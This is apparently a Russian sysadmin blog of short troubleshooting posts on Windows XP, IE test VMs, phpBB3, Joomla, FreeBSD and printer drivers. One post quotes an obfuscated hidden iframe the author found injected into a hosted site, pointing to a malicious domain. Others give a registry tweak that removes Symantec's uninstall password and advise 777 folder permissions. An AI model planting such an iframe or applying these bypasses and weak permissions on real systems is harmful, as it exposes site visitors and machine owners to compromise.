Рубрики: Компьютерное

Восстановление работоспособности Windows XP после замены материнской платы

У Windows XP есть неприятна особенность — если заменить материнскую плату, то велика вероятность того, что операционная система перестанет запускаться. Обычно это выглядит как перезагрузка компьютера до появления рабочего стола. Загрузка в безопасном режиме дает такой же результат.

Но решение проблемы есть. Для этого нужно загрузится с Alkid Live CD или Winternals ERD Commander и внести изменения в реестр с помощью вот этого файла — mergeide. После этого перезагружаем компьютер и наслаждаемся нормально работой. Останется только установить, в случае необходимости, драйвера для новой материнской платы.

 

Тестирование сайта в браузерах IE с помощью Internet Explorer Application Compatibility VPC Image

Virtual PC 2007Стоит задача протестировать  сайт в различных браузерах. В частности в самых ходовых браузерах IE 6, IE 7, IE 8. Установить все три браузера на один ПК идея плохая, могут возникнуть проблемы. Мы пойдем другим путем. Для тестирования будем использовать виртуальную машину от Microsoft и специальные образы ОС с нужными браузерами.

В первую очередь скачиваем виртуальную машину — http://www.microsoft.com/downloads/details.aspx?FamilyId=04D26402-3199-48A3-AFA2-2DC0B40A73B6&displaylang=en

Затем нужно скачать необходимые образы ОС с нужной версией IE — http://www.microsoft.com/downloads/details.aspx?FamilyId=21EABB90-958F-4B64-B5F1-73D0A413C8EF&displaylang=en

Сначала нужно установить саму виртуальную машину, а затем запустить установку скачанного образа виртуального диска.

Важно: при установке образ диска по умолчанию устанавливается в папку c:\Windows\system32. Рекомендую выбрать для установки новую папку, чтобы не захламлять папку с Windows.

Далее нужно запустить консоль для работы с виртуальными машинами и выбрать пункт «New», т.е. создаем новую виртуальную машину. В ходе этой операции можно оставить значения предлагаемые по умолчанию пока мы не дойдем до пункта «Virtual hard disk location» здесь нужно выбрать установленный до этого образ виртуального диска. И заканчиваем установку.

Собственно это всё. Далее запускаем из консоли только что созданную виртуальную машину и приступаем к тестированию сайта на нужной нам версии IE.

По умолчанию пароль на учетную запись — P2ssw0rd.

Решение проблемы с ошибкой phpBB3 — «Общая ошибка Could not get style data»

При переносе форума под управлением phpBB3 с одного хостинга на другой столкнулся с ошибкой "Общая ошибка Could not get style data". Преблема решилась просто — нужно было удалить все файлы из папки cache и поставить на неё права 777.

 

Размещение баннера в phpBB3 в шапке темы prosilver

Тема prosilver идет по умолчанию при установке phpBB 3. Тема меня устраивает, но нужно поставить баннер от Google в шапку. Сделать это можно  путем редактирования двух файлов common.css и overall_header.html. Оба файла находятся в папке с темой prosilver (первый в папке theme, второй в папке template).

В файле  common.css находим комментарий /* Site description and logo */ и после него меняем строчки на следующие:

#site-description {
float: left;
width: 20%;
}

#site-description h1 {
margin-right: 0;
}

#site-bannerup {
float: left;
width: 30%;
}

По сути мы уменьшили площадь отводимую под название и описание форума (width: 20%) и добавили блок #site-bannerup который понадобится для вставки баннера. При этих изменения следует учитывать особенности названия форума, т.к. длинные названия будут идти не в одну строчку, а дробится. Избежать этого можно увеличением процента отводимой площади.

В файле  overall_header.html находим строчку <div id="site-description"> и ниже ее закомментируем строчку с логотипом phpBB:

<!— <a href="{U_INDEX}" title="{L_INDEX}" id="logo">{SITE_LOGO_IMG}</a> —>

Затем спускаемся ниже и сразу после закрывающегося тега </div> ставим код для показа баннера:

<div id="site-bannerup">
<script type="text/javascript"><!–
google_ad_client = "pub-2345000522858";
/* 728×90, создано 13.02.10 */
google_ad_slot = "8392333019";
google_ad_width = 728;
google_ad_height = 90;
//–>
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>

Далее в панели управления обновляем кэш шаблона и общий кэш форума. После этого мы видим баннер в нужном месте. Пример можно посмотреть здесь — http://kraeved.opck.org/forum/index.php

Ошибка JError Unable to load Database Driver при установке Joomla

После установки движка Joomla 1.5.15 выдалась ошибка «JError Unable to load Database Driver». После экспериментов выяснилось, что данная ошибка появляется если в ходе установки попробовать настроить FTP доступ (нажимать кнопки по автоматическому определению пути, к примеру), а также если пробовать установить демо опции. Если оставлять всё по умолчанию, вводя только самые необходимые параметры (пароли, адрес почты), то установка завершается без проблем.

Вирусяки

145576Заглянул сегодня на один из сайтов который хостится у меня на сервере и тут же был извещен антивирусом о попытке подгрузить зловредный код. Полез искать где же там вирус сидит. После изучения кода страницы обнаружил вот такую хитро шифрованную ссылку:

<iframe src=»http://jL.ch&#117;ra.pl&#47;rc/» style=»d&#105;splay:none»></iframe>

В чистом виде ссылка ведет на jL.chura.pl/rc/ (лучше не ходить туда)

Владелец данного сайта адекватный человек и вряд ли сам додумался поставить на главную страницу подобный код. Будем разбираться.

Разместил в каталоге своих статей описание скрипта поддерживающего PPPoE соедниение под FreeBSD — http://rakovski.ru/?p=77 Скрипт пару раз уже выручал. Но сохраняется одна неясность — иногда при разрыве Интернет пропадает начисто, не помогает ни перезагрузка модема ни повторные запуски данного скрипта. Решение пока нашел только одно — перезагрузка сервера целиком. Но это конечно же не выход. Буду искать дальше.

Снимаем пароль антивируса от Symantec

Принесли сегодня компьютер для лёгкого вправления мозгов. На компьютере стоял антивирус от Symantec, поверх него установили DrWEB после чего компьютер стал виснуть на стадии приветствия системы. С DrWEB дело обошлось просто — он был удален в безопасном режиме без лишних вопросов (за что ему честь и хвала). А вот с Symantec пришлось повозиться. По умолчанию на антивирусы от этой компании ставится пароль «Symantec», но в моём случае этот пароль не проходил. Выход был найден после поисков в интернете. Нужно было поставить значение «0» в этой ветке реестра — HKLM\SOFTWARE\Intel\LANDesk\VirusProtect6\CurrentVersion\AdministratorOnly\Security\UseVPUninstallPassword. После чего удаление прошло как по маслу.

Windows Web Server 2008

Получил по почте то что заказывал — диски от Microsoft с Windows Web Server 2008. Уже опробовал на виртуальной машине. В целом ничего особенного. Сравнивать могу только с Apache под FreeBSD, но по сути это разные идеологии и подходы, поэтому сравнение будет не корректным.

Пришли так же диски с Linux Ubuntu 8.10 и Linux Ubuntu 8.10 Server. Надо будет попробовать так же на виртуальной машине.

Экономим время при установке принтера

На работе есть множество принтеров HP (3055, 3052, 2015, 1160). Техника в целом надежная, но есть у неё одна особенность. Дело в том, что установку драйверов принтера нужно производить обязательно с диска. Попытки скопировать содержимое диска с драйверами на винчестер и установить оттуда успехом не увенчались. А так как на абсолютном большинстве ПК нет приводов DVD, то приходилось мне время от времени брать диск с драйверами, DVD-ROM и идти к нужному ПК.  В целом ничего сложного, но некоторые ПК стоят очень неудобно, плюс к этому они еще и в пыли (как снаружи так и внутри). В общем надоело мне это в один прекрасный день и возникла простая до гениальности мысль — производить установку с виртуальных CD-ROM.
Для начала сделал образы дисков с драйверами. Скачал последнюю версию DAEMON Tools Lite и испробовал это в тот же день. По времени выходит гораздо дольше т.к. предварительно нужно скопировать образ диска с драйверами по сети на нужную машину, затем установить виртуальный CD-ROM и только потом приступать к установке, но есть и бесспорные плюсы:

  • не нужно копаться в пыли;
  • после подключения принтера к ПК все остальные операции можно проводить посредством программ удаленного доступа не выходя из кабинета;

В общем эксперимент прошёл удачно. В планах убрать из образов дисков лишние папки с языковыми пакетами и прочим ненужным хламом тем самым сократив размер образа и уменьшив время копирования по сети.